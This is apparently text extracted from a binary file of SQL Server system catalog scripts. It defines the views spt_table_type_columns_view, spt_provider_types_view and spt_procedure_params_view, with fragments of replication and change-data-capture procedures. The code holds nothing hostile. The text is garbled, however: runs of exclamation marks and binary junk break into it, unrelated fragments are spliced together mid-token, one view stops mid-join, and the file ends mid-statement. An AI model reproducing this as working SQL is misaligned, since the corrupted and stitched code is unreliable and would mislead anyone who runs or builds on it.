!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?`<(<0vt

create view sys.spt_table_type_columns_view
as
    select
    -- begin (for doing joins)
        object_id               = o.object_id,
        schema_id               = tt.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG           = db_name(),
    -- TABLE_SCHEMA, and TABLE_NAME columns are defined differently
    -- in this view than in spt_columns_view.  
    -- Here they are expose table type metadata rather than table (object) metadata.
    -- These are two different namespaces
        TABLE_SCHEMA            = schema_name(tt.schema_id),
        TABLE_NAME              = tt.name,
        COLUMN_NAME             = c.name,
        COLUMN_GUID             = convert(uniqueidentifier,null),
        COLUMN_PROPID           = convert(int,null),
        ORDINAL_POSITION        = convert(int, ColumnProperty(c.object_id, c.name, 'ordinal')),
        COLUMN_HASDEFAULT       = convert(bit,
                                            case 
                                            when ColumnProperty(c.object_id, c.name, 'default') = 0 then 0
                                            else 1
                                            end),
        COLUMN_DEFAULT          = convert(nvarchar(2000),
                                          object_definition(ColumnProperty(c.object_id, c.name, 'default'))
                                         ),
        COLUMN_FLAGS            = convert(int,
                                            case when d.is_long = 1 or c.max_length = -1 -- 2nd condition is for varchar(MAX) types
                                            then 0x82 --DBCOLUMNFLAGS_ISLONG|DBCOLUMNFLAGS_MAYDEFER
                                            else 0
                                            end
                                        |   case when d.fixlen is not null
                                            then 0x10 --DBCOLUMNFLAGS_ISFIXEDLENGTH
                                            else 0
                                            end
                                        |   case when c.is_nullable = 1
                                            then 0x60 --DBCOLUMNFLAGS_ISNULLABLE|DBCOLUMNFLAGS_MAYBENULL
                                            else 0
                                            end
                                        |   case 
                                            when d.ss_dtype = 189 -- 'timestamp'
                                                then 0x200 --DBCOLUMNFLAGS_ISROWVER
                                            -- Table type columns aren't securable so we don't need to check
                                            -- for UPDATE permission.
                                            when c.is_identity != 1 
                                                then 0x4 --DBCOLUMNFLAGS_WRITE
                                            else 0 
                                            end
                                        |   case 
                                            when d.ss_dtype in (41, 42, 43) -- datetime2, time, datetimeoffset
                                                then 0x40000000 --DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                            else 0 
                                            end),
        IS_NULLABLE             = c.is_nullable,
        DATA_TYPE               = d.oledb_data_type,
        TYPE_GUID               = convert(uniqueidentifier,null),
        CHARACTER_MAXIMUM_LENGTH= convert(int,
                                            case 
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then coalesce(d.column_size,c.max_length/2)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            else null 
                                            end),
        CHARACTER_OCTET_LENGTH  = convert(int,
                                            case when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            else null 
                                            end),
        NUMERIC_PRECISION       = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                                then c.precision
                                            when (d.fixed_prec_scale=1 or d.oledb_data_type in (5, 4)) -- DBTYPE_R4/DBTYPE_R8
                                                then d.data_precision 
                                            else null 
                                            end),
        NUMERIC_SCALE           = convert(smallint, 
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                            then odbcscale(c.system_type_id,c.scale) 
                                            else null 
                                            end),
                                  -- We could also include legacy datetime, smalldatetime in the first condition
                                  -- because the results are correct there also
        DATETIME_PRECISION      = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then c.scale 
                                            else d.datetime_precision 
                                            end),
        CHARACTER_SET_CATALOG   = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master' 
                                            else null 
                                            end),
        CHARACTER_SET_SCHEMA    = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<S0
F7Lt
_STR, DBTYPE_WSTR
                                            then N'dbo' 
                                            else null 
                                            end) collate catalog_default,
        CHARACTER_SET_NAME      = convert(sysname, 
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then CollationProperty(c.collation_name, 'sqlcharsetname')
                                            else null
                                            end),
        COLLATION_CATALOG       = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master' 
                                            else null
                                            end),
        COLLATION_SCHEMA        = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo' 
                                            else null
                                            end) collate catalog_default,
        COLLATION_NAME          = convert(sysname, c.collation_name),
        DOMAIN_CATALOG          = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else db_name()
                                  end,
        DOMAIN_SCHEMA           = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else schema_name(tt.schema_id)
                                  end,
        DOMAIN_NAME             = case when c.user_type_id < 256 -- regular types, without SQL UDTs
                                  then null
                                  else type_name(c.user_type_id)
                                  end,
        DESCRIPTION             = convert(nvarchar(1),null),
        COLUMN_LCID             = convert(int, CollationProperty(c.collation_name, 'lcid')),
        COLUMN_COMPFLAGS        = convert(int, CollationProperty(c.collation_name, 'oledbcompstyle')),
        COLUMN_SORTID           = nullif(convert(int, DATABASEPROPERTYEX(db_name(),'sqlsortorder')), 0),
        COLUMN_TDSCOLLATION     = convert(binary(5),CollationProperty(c.collation_name, 'TDSCollation')),
        IS_COMPUTED             = convert(bit, ColumnProperty(c.object_id, c.name, 'IsComputed')),
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname,
                                              case when (d.ss_dtype = 241 and xsc.name is not null)
                                              then db_name()
                                              else null
                                              end),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = convert(sysname,
                                              case when (d.ss_dtype = 241 and xsc.name is not null)
                                              then schema_name(xsc.schema_id)
                                              else null
                                              end),
        SS_XML_SCHEMACOLLECTIONNAME         = convert(sysname, xsc.name),
        SS_UDT_CATALOGNAME      = convert(sysname,
                                            case when d.ss_dtype = 240 -- CLR UDT
                                            then db_name() 
                                            else null
                                            end),
        SS_UDT_SCHEMANAME       = convert(sysname, schema_name(u.schema_id)),
        SS_UDT_NAME             = convert(sysname, u.name),
        SS_UDT_ASSEMBLY_TYPENAME= u.assembly_qualified_name,
        -- Table types don't currently support sparse columns or column sets
        --
        SS_IS_SPARSE            = convert(bit, 0),
        SS_IS_COLUMN_SET        = convert(bit, 0)

    from
        sys.all_columns c inner join
        sys.all_objects o on 
            (
                o.object_id = c.object_id and
                o.type in ('TT') -- limit columns to: table types
            ) inner join
        sys.spt_provider_types d on 
            (
                d.ss_dtype = c.system_type_id
            )
        inner join
        sys.table_types tt on 
            (
                o.object_id = tt.type_table_object_id
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = c.xml_collection_id
            )
        left join
        sys.assembly_types u on 
            (
                u.user_type_id = c.user_type_id
            )

     where
        (has_perms_by_name(quotename(schema_name(tt.schema_id)) + '.' + quotename(tt.name),
                          'type',
                          'view definition',
                          null,
                          null) = 1)
        -- Table types don't currently support sparse columns or column sets
        --
		/*                           
        and
        (s_cv.SS_IS_SPARSE=0 or objectproperty(s_cv.object_id, 'tablehascolumnset')=0)
        */
[[[r_id
        and ms.publisher_db = @publisher_db
        and ms.subscriber_id = @subscriber_id
        and ms.subscriber_db = @subscriber_db
        and ms.article_id = @article_id

        select @article = article
        from MSarticles
        where article_id = @article_id
        and publisher_id = @publisher_id
        and publisher_db = @publisher_db
        and publication_id = @publication_id
    end

	-- Raise the appropriate error
	if @do_raiserror = 1
	begin
		select @agentclassname = formatmessage(14553)

		-- only use the first 255 chars
		select @comments = left(@comments, 255)
		
		exec sys.sp_MSrepl_raiserror @agentclassname, @agent_name, @raiserror_status, @comments, @subscriber=@subscriber, @publication=@publication, @article=@article
	end
    
    IF @@ERROR <> 0
       RETURN (1)
END
1f1 Start the job, if required
		--  
		if @start_job = 1
		begin
			set @action = N'sp_start_job'  
			EXECUTE msdb.dbo.sp_start_job @job_id = @job_id, @error_flag = 0
		end

FINISHED:

		commit tran
		
		return(0)
    
    END TRY
    
    BEGIN CATCH
    
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran tr_sp_cdc_add_job
				commit tran
			end
		end
		
		set @raise_error = ERROR_NUMBER()
		set @raise_message = ERROR_MESSAGE()
		
	END CATCH
	
	raiserror(22836, 16, -1, @db_name, @action, @raise_error, @raise_message)	 

    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(aCmrvn
create view sys.spt_provider_types_view
as
    select
        TYPE_NAME           = case when typeproperty(t.name, 'oldusertype') = 80 -- timestamp
                                  then t.name
                                  else d.type_name collate catalog_default
                              end,
        DATA_TYPE           = d.oledb_data_type,
        DATA_TYPE_90        = convert(smallint,
                                case -- Enable 9.0 downlevel clients to see new types.
                                when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                then 130 -- DBTYPE_WSTR
                                else d.oledb_data_type
                                end),
        DATA_TYPE_28        = convert(smallint,
                                case -- Enable ADO functionality by downgrading new Yukon types.
                                when d.oledb_data_type = 132 then 128 -- DBTYPE_UDT <--> DBTYPE_BYTES
                                when d.oledb_data_type = 141 then 130 -- DBTYPE_XML <--> DBTYPE_WSTR
                                when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                then 130 -- DBTYPE_WSTR
                                else d.oledb_data_type
                                end),
        COLUMN_SIZE         = case when d.oledb_data_type = 131 -- DBTYPE_NUMERIC
                                then @@max_precision
                                else coalesce(d.column_size,
                                              d.data_precision,
                                              case when t.system_type_id not in (34, 35, 99) -- ntext, image or text
                                              then typeproperty(t.name, 'precision')
                                              end
                                             )
                                end,
        COLUMN_SIZE_28      = case -- Enable ADO functionality by exposing XML size as NTEXT.
                                when d.oledb_data_type = 131 -- DBTYPE_NUMERIC
                                    then @@max_precision
                                when d.oledb_data_type = 141 -- DBTYPE_XML
                                    then 1073741823
                                else coalesce(d.column_size,
                                              d.data_precision,
                                              case when t.system_type_id not in (34, 35, 99) -- ntext, image or text
                                              then typeproperty(t.name, 'precision')
                                              end
                                             )
                                end,
        LITERAL_PREFIX      = d.literal_prefix,
        LITERAL_SUFFIX      = d.literal_suffix,
        CREATE_PARAMS       = convert(nvarchar(32),e.CREATE_PARAMS),
        CREATE_PARAMS_90    = convert(nvarchar(32),
                                case
                                when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                then null
                                else e.CREATE_PARAMS
                                end),
        IS_NULLABLE         = t.is_nullable,
        CASE_SENSITIVE      = convert (bit,
                                         case
                                         when d.oledb_data_type in (129,130) then -- DBTYPE_STR/DBTYPE_WSTR
                                            case
                                            when 'a' <> 'A' then 1
                                            else                 0
                                            end
                                         when d.oledb_data_type = 141 then 1 -- DBTYPE_XML is always case sensitive
                                         else 0
                                         end),
        SEARCHABLE          = d.searchable,
        UNSIGNED_ATTRIBUTE  = d.unsigned_attribute,
        FIXED_PREC_SCALE    = d.fixed_prec_scale,
        AUTO_UNIQUE_VALUE   = d.auto_unique_value,
        LOCAL_TYPE_NAME     = case
                              when typeproperty(t.name, 'oldusertype') = 80 then t.name -- timestamp
                              else d.localized_typename collate catalog_default
                              end,
        MINIMUM_SCALE       = convert(smallint,
                                        case
                                        when d.oledb_data_type = 131 then 0 -- DBTYPE_NUMERIC
                                        when t.system_type_id in (41,42,43) then 0 -- time/datetime2/datetimeoffset
                                        else null
                                        end),
        MINIMUM_SCALE_90    = convert(smallint,
                                        case
                                        when d.oledb_data_type = 131 then 0 -- DBTYPE_NUMERIC
                                        else null
                                        end),
        MAXIMUM_SCALE       = convert(smallint,
                                        case
                                        when d.oledb_data_type = 131 -- DBTYPE_NUMERIC
                                        then @@max_precision
                                        when t.system_type_id in (41,42,43) -- time/datetime2/datetimeoffset
                                        then typeproperty(t.name, 'scale')
                                        else null
                                        end),
        MAXIMUM_SCALE_90    = convert(smallint,
                                        case
                                        when d.oledb_data_type = 131 -- DBTYPE_NUMERIC
                                        then @@max_precision
                                        else null
                                        end),
        GUID                = convert(uniqueidentifier,null),
        TYPELIB             = convert(nvarchar(1),null),
        VERSION             = convert(nvarchar(1),null),
        IS_LONG             = d.is_long,
        BEST_MATCH          = convert(bit,
                              case
                              when typeproperty(t.name, 'oldusertype') = 80 then 0 -- timestamp
                              else d.best_match
                              end),
        BEST_MATCH_90       = convert(bit,
                              case
                              when typeproperty(t.name, 'oldusertype') = 80 then 0 -- timestamp
                              when t.system_type_id in (40, 41,42,43) then 0 -- date/time/datetime2/datetimeoffset
                              when t.system_type_id = 61 then 1 -- datetime
                              else d.best_match
                              end),
        BEST_MATCH_28       = convert(bit,
                              case
                              when typeproperty(t.name, 'oldusertype') = 80 then 0 -- timestamp
                              when d.oledb_data_type = 141 then 0 -- DBTYPE_XML
                              when t.system_type_id in (40, 41,42,43) then 0 -- date/time/datetime2/datetimeoffset
                              when t.system_type_id = 61 then 1 -- datetime
                              else d.best_match
                              end),
        IS_FIXEDLENGTH      = convert(bit, case when d.fixlen is null then 0 else 1 end),
        IS_FIXEDLENGTH_90   = convert(bit,
                              case
                              when d.ss_dtype in (40, 41, 42, 43) then 0 -- date, time, datetime2, datetimeoffset
                              when d.fixlen is null then 0
                              else 1 end),
        MANAGED_DATA_TYPE   = d.managed_type_code
    from
        sys.spt_provider_types d inner join
        sys.types t on
          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C=v
create view sys.spt_procedure_params_view
as
    select
    -- begin (for doing joins)
        object_id                   = o.object_id,
        schema_id                   = o.schema_id,
        procedure_number            = s_ap.procedure_number,
        type                        = o.type,
    -- end (for doing joins)
        PROCEDURE_CATALOG           = db_name(),
        PROCEDURE_SCHEMA            = schema_name(o.schema_id),
        PROCEDURE_NAME              = o.name,
        PARAMETER_NAME              = convert(sysname,
                                            case
                                            when s_ap.parameter_id = 0 -- UDF return value
                                            then '@RETURN_VALUE'
                                            else s_ap.name
                                            end),
        ORDINAL_POSITION            = convert(smallint, s_ap.parameter_id),
        PARAMETER_TYPE              = convert(smallint,
                                            case
                                            when s_ap.parameter_id = 0 -- UDF return value
                                            then 4 -- DBPARAMTYPE_RETURNVALUE
                                            else 1+s_ap.is_output
                                            end),
        PARAMETER_HASDEFAULT        = convert(tinyint, 0),
        PARAMETER_DEFAULT           = convert(nvarchar(255),null),
        IS_NULLABLE                 = convert(bit,ColumnProperty(s_ap.object_id,s_ap.name,'AllowsNull')),
        DATA_TYPE                   = d.oledb_data_type,
        DATA_TYPE_90                = convert(smallint,
                                            case -- Enable 9.0 downlevel clients to see new types.
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then 130 -- DBTYPE_WSTR
                                            when d.oledb_data_type = 132 and s_ap.max_length = 0 then 128 -- Large UDT <--> DBTYPE_BYTES for 9.0 clients
                                            else d.oledb_data_type 
                                            end),
        DATA_TYPE_28                = convert(smallint,
                                            case -- Enable 8.0 downlevel clients to see new types.
                                            when d.oledb_data_type = 132 then 128 -- DBTYPE_UDT <--> DBTYPE_BYTES
                                            when d.oledb_data_type = 141 then 130 -- DBTYPE_XML <--> DBTYPE_WSTR
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then 130 -- DBTYPE_WSTR
                                            else d.oledb_data_type
                                            end),
        CHARACTER_MAXIMUM_LENGTH    = convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) -- DBTYPE_STR/DBTYPE_BYTES
                                            then coalesce(d.column_size,s_ap.max_length)
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                            then coalesce(d.column_size,s_ap.max_length/2)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT, for Large UDT the s_ap.max_length is already 0
                                            then coalesce(s_ap.max_length,case t.is_assembly_type when 1 then t.max_length end)
                                            else null
                                            end),
        CHARACTER_MAXIMUM_LENGTH_90 = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) -- DBTYPE_STR/DBTYPE_BYTES
                                            then coalesce(d.column_size,s_ap.max_length)
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                            then coalesce(d.column_size,s_ap.max_length/2)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                            then coalesce(s_ap.max_length,case t.is_assembly_type when 1 then t.max_length end)
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then s_ap.precision
                                            else null
                                            end),
        CHARACTER_MAXIMUM_LENGTH_28 = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) -- DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/image
                                                            (
                                                                case when s_ap.max_length = 0 then 2147483647
                                                                else s_ap.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size, -- special case ntext
                                                            (
                                                                case when s_ap.max_length = 0 then 1073741823
                                                                else s_ap.max_length/2
                                                                end
                                                            ))
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                            then 1073741823 -- match ntext value
                                            when (d.oledb_data_type = 132 and s_ap.max_length = 0)-- Large UDT => image for non-SNAC clients
                                                then 2147483647 -- match image value     
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then coalesce(s_ap.max_length,case t.is_assembly_type when 1 then t.max_length end)
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then s_ap.precision
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH      = convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) -- DBTYPE_STR/DBTYPE_BYTES
                                            then coalesce(d.column_size,s_ap.max_length)
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                            then coalesce(d.column_size*2,s_ap.max_length)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT, for Large UDT s_ap.max_length is already 0
                                            then coalesce(s_ap.max_length,case t.is_assembly_type when 1 then t.max_length end)
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH_90   = convert(int,
                                            case
                      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C}Alv                      when d.oledb_data_type in (129, 128) -- DBTYPE_STR/DBTYPE_BYTES
                                            then coalesce(d.column_size,s_ap.max_length)
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                            then coalesce(d.column_size*2,s_ap.max_length)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                            then coalesce(s_ap.max_length,case t.is_assembly_type when 1 then t.max_length end)
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then s_ap.precision*2
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH_28   = convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) -- DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/image
                                                            (
                                                                case when s_ap.max_length = 0 then 2147483647
                                                                else s_ap.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case ntext
                                                            (
                                                                case when s_ap.max_length = 0 then 2147483646
                                                                else s_ap.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                            then 2147483646 -- match ntext value
                                            when (d.oledb_data_type = 132 and s_ap.max_length = 0)-- Large UDT => image for non-SNAC clients
                                                then 2147483647 -- match image value     
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then coalesce(s_ap.max_length,case t.is_assembly_type when 1 then t.max_length end)
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then s_ap.precision*2
                                            else null
                                            end),
        NUMERIC_PRECISION           = convert(smallint,
                                            case
                                            when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                            then s_ap.precision
                                            when (d.fixed_prec_scale = 1 or d.oledb_data_type = 5 or d.oledb_data_type = 4)
                                            then d.data_precision
                                            else null
                                            end),
        NUMERIC_SCALE               = convert(smallint,
                                            case
                                            when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                            then s_ap.scale
                                            else null
                                            end),
        DESCRIPTION                 = convert(nvarchar(1),null),
        TYPE_NAME                   = convert(sysname,
                                      case
                                      when (s_ap.user_type_id <= 256 and
                                            s_ap.system_type_id != 240)
                                        then d.type_name
                                      --
                                      -- CLR UDT and table types emit type name
                                      --
                                      when (t.is_assembly_type = 1 or t.is_table_type = 1)
                                        then t.name
                                      end) collate catalog_default,
        TYPE_NAME_28                = convert(sysname,
                                      case
                                      when (d.oledb_data_type = 128 and s_ap.max_length = 0) -- varbinary(max)
                                        then N'image'
                                      when (d.oledb_data_type = 129 and s_ap.max_length = 0) -- varchar(max)
                                        then N'text'
                                      when (d.oledb_data_type = 130 and s_ap.max_length = 0) -- nvarchar(max)
                                        then N'ntext'
                                      when (d.oledb_data_type = 132 and s_ap.max_length = 0) -- Large UDT => image for non-SNAC clients
                                        then N'image'
                                      else d.type_name
                                      end) collate catalog_default,
        LOCAL_TYPE_NAME             = convert(sysname,
                                      case
                                       when (s_ap.user_type_id <= 256 and
                                             s_ap.system_type_id != 240)
                                        then d.localized_typename
                                      --
                                      -- CLR UDT and table types emit type name
                                      --
                                      when (t.is_assembly_type = 1 or t.is_table_type = 1)
                                        then t.name
                                      end) collate catalog_default,
        LOCAL_TYPE_NAME_28          = convert(sysname,
                                      case
                                      when (d.oledb_data_type = 128 and s_ap.max_length = 0) -- varbinary(max)
                                        then N'image'
                                      when (d.oledb_data_type = 129 and s_ap.max_length = 0) -- varchar(max)
                                        then N'text'
                                      when (d.oledb_data_type = 130 and s_ap.max_length = 0) -- nvarchar(max)
                                        then N'ntext'
                                      when (d.oledb_data_type = 132 and s_ap.max_length = 0) -- Large UDT => image for non-SNAC clients
                                        then N'image'
                                      else d.type_name
                                      end) collate catalog_default,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname,
                                            case when (d.ss_dtype = 241 and xsc.name is not null)
                                            then db_name()
                                            else null
                                            end),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME = convert(sysname,
                                            case when (d.ss_dtype = 241 and xsc.name is not null)
                                            then schema_name(xsc.schema_id)
                                            else null
                                            end),
        SS_XML_SCHEMACOLLECTIONNAME = convert(sysname, xsc.name)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<\^
(,
        SS_UDT_CATALOGNAME          = convert(sysname,
                                            case when (s_ap.user_type_id > 256 or s_ap.system_type_id = 240)
                                                 and t.is_assembly_type = 1
                                            then db_name()
                                            else null
                                            end),
        SS_UDT_SCHEMANAME           = convert(sysname,
                                            case when (s_ap.user_type_id > 256 or s_ap.system_type_id = 240)
                                                 and t.is_assembly_type = 1
                                            then schema_name(t.schema_id)
                                            else null
                                            end),
        SS_UDT_NAME                 = convert(sysname,
                                            case when (s_ap.user_type_id > 256 or s_ap.system_type_id = 240)
                                                 and t.is_assembly_type = 1
                                              then t.name
                                            else null
                                            end),
        SS_UDT_ASSEMBLY_TYPENAME    = case when (s_ap.user_type_id > 256 or s_ap.system_type_id = 240) and t.is_assembly_type = 1
                      then convert(nvarchar(4000), typepropertyex(t.user_type_id,'assembly_qualified_name')) collate Latin1_General_BIN
                                      else null
                                      end,
        --
        -- New columns introduced in Katmai.
        -- SS_TYPE_CATALOG_NAME, SS_TYPE_SCHEMANAME apply to XML schema, CLR UDT, and table types
        -- We will recommend new apps to use these columns for all such types.
        --
        SS_TYPE_CATALOG_NAME        = convert(sysname,
                                            case
                                            when ((s_ap.user_type_id > 256 or s_ap.system_type_id = 240) and (t.is_assembly_type = 1 or t.is_table_type = 1))
                                              then db_name()
                                            when (d.ss_dtype = 241 and xsc.name is not null)
                                              then db_name()
                                            else null
                                            end),
        SS_TYPE_SCHEMANAME          = convert(sysname,
                                            case
                                            when ((s_ap.user_type_id > 256 or s_ap.system_type_id = 240) and (t.is_assembly_type = 1 or t.is_table_type = 1))
                                              then schema_name(t.schema_id)
                                            when (d.ss_dtype = 241 and xsc.name is not null)
                                              then schema_name(o.schema_id)
                                            else null
                                            end),
        MANAGED_DATA_TYPE           = d.managed_type_code,
        SS_DATETIME_PRECISION       = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then s_ap.scale
                                            else d.datetime_precision
                                            end)
    from
        sys.all_objects o inner join
        sys.spt_parameters_numbered_parameters s_ap on
            (
                o.object_id = s_ap.object_id and
                o.type in ('P', 'FN', 'TF', 'IF', 'PC')
            ) inner join
        sys.types t on
            (
                s_ap.user_type_id = t.user_type_id
            ) inner join
        sys.spt_provider_types d on
            (
                d.ss_dtype = t.system_type_id
            )
        left join
        sys.xml_schema_collections xsc on
            (
                xsc.xml_collection_id = s_ap.xml_collection_id
            )
aadrange', 'P') is not NULL
        drop procedure sys.sp_MSallocate_one_idrange

    if object_id('sp_addmergepushsubscription_agent', 'P') is not NULL
        drop procedure sys.sp_addmergepushsubscription_agent

    if object_id('fn_MSpublication_uses_host_name', 'FN') is not NULL
        drop function sys.fn_MSpublication_uses_host_name

    if object_id('fn_MSisfilteredcolumn', 'FN') is not NULL
        drop function sys.fn_MSisfilteredcolumn
        
    if object_id('sp_MSsetreset_NFR_FK', 'P') is not NULL
        drop procedure sys.sp_MSsetreset_NFR_FK

    if object_id(N'sys.fn_repldecryptver4_wrapper', 'FN') is not null
        drop function sys.fn_repldecryptver4_wrapper
,,@resolver_clsid = 
        case @resolver_clsid
